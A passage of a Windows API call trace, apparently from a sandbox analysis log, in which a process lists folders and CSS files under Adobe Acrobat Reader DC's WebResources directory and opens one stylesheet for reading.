lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static", lpFilePart=0x0) returned 0x53 [0099.176] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\*", lpFindFileData=0x1fdece00 | out: lpFindFileData=0x1fdece00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0099.176] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdecdc0 | out: lpFindFileData=0x1fdecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.177] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdecdc0 | out: lpFindFileData=0x1fdecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0099.177] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdecdc0 | out: lpFindFileData=0x1fdecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0099.177] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdecdc0 | out: lpFindFileData=0x1fdecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0099.177] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdecdc0 | out: lpFindFileData=0x1fdecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0099.177] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0099.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded020) returned 1 [0099.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdecfe0) returned 1 [0099.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded0e0) returned 1 [0099.177] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static", nBufferLength=0x105, lpBuffer=0x1fdecb80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static", lpFilePart=0x0) returned 0x53 [0099.177] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\*", lpFindFileData=0x1fdece00 | out: lpFindFileData=0x1fdece00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51d20 [0099.178] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fdecdc0 | out: lpFindFileData=0x1fdecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.178] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fdecdc0 | out: lpFindFileData=0x1fdecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0099.178] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fdecdc0 | out: lpFindFileData=0x1fdecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0099.178] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fdecdc0 | out: lpFindFileData=0x1fdecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0099.178] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fdecdc0 | out: lpFindFileData=0x1fdecdc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0099.178] FindClose (in: hFindFile=0x1ec51d20 | out: hFindFile=0x1ec51d20) returned 1 [0099.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded020) returned 1 [0099.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdecfe0) returned 1 [0099.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec6b0) returned 1 [0099.179] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css", nBufferLength=0x105, lpBuffer=0x1fdec150, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css", lpFilePart=0x0) returned 0x57 [0099.179] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\*", lpFindFileData=0x1fdec3d0 | out: lpFindFileData=0x1fdec3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51d20 [0099.180] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.181] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app", cAlternateFileName="")) returned 1 [0099.181] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="core", cAlternateFileName="")) returned 1 [0099.181] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="files", cAlternateFileName="")) returned 1 [0099.181] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-mac.css", cAlternateFileName="MAIN-C~2.CSS")) returned 1 [0099.181] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-ui-theme.css", cAlternateFileName="MAIN-C~3.CSS")) returned 1 [0099.181] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x263a, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-win.css", cAlternateFileName="MAIN-C~4.CSS")) returned 1 [0099.182] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2169, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-win8.css", cAlternateFileName="MAIN-C~1.CSS")) returned 1 [0099.182] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xcb15, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef.css", cAlternateFileName="")) returned 1 [0099.182] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x22514, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-high-contrast.css", cAlternateFileName="MAIN-H~1.CSS")) returned 1 [0099.182] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x28f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0099.182] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0099.182] FindClose (in: hFindFile=0x1ec51d20 | out: hFindFile=0x1ec51d20) returned 1 [0099.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec5f0) returned 1 [0099.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec5b0) returned 1 [0099.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec6b0) returned 1 [0099.183] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css", nBufferLength=0x105, lpBuffer=0x1fdec150, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css", lpFilePart=0x0) returned 0x57 [0099.183] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\*", lpFindFileData=0x1fdec3d0 | out: lpFindFileData=0x1fdec3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0099.184] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.184] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app", cAlternateFileName="")) returned 1 [0099.184] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="core", cAlternateFileName="")) returned 1 [0099.184] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="files", cAlternateFileName="")) returned 1 [0099.184] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-mac.css", cAlternateFileName="MAIN-C~2.CSS")) returned 1 [0099.184] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-ui-theme.css", cAlternateFileName="MAIN-C~3.CSS")) returned 1 [0099.185] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x263a, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-win.css", cAlternateFileName="MAIN-C~4.CSS")) returned 1 [0099.185] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2169, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-win8.css", cAlternateFileName="MAIN-C~1.CSS")) returned 1 [0099.185] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xcb15, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef.css", cAlternateFileName="")) returned 1 [0099.185] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x22514, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-high-contrast.css", cAlternateFileName="MAIN-H~1.CSS")) returned 1 [0099.185] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x28f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0099.185] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdec390 | out: lpFindFileData=0x1fdec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x28f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0099.186] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0099.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec5f0) returned 1 [0099.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec5b0) returned 1 [0099.186] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css", lpFilePart=0x0) returned 0x68 [0099.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0099.186] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-mac.css"), fInfoLevelId=0x0, lpFileInformation=0x347bbe0 | out: lpFileInformation=0x347bbe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9ea)) returned 1 [0099.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0099.187] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css", lpFilePart=0x0) returned 0x68 [0099.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0099.187] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-mac.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0099.187] GetFileType (hFile=0x6e0) returned 0x1 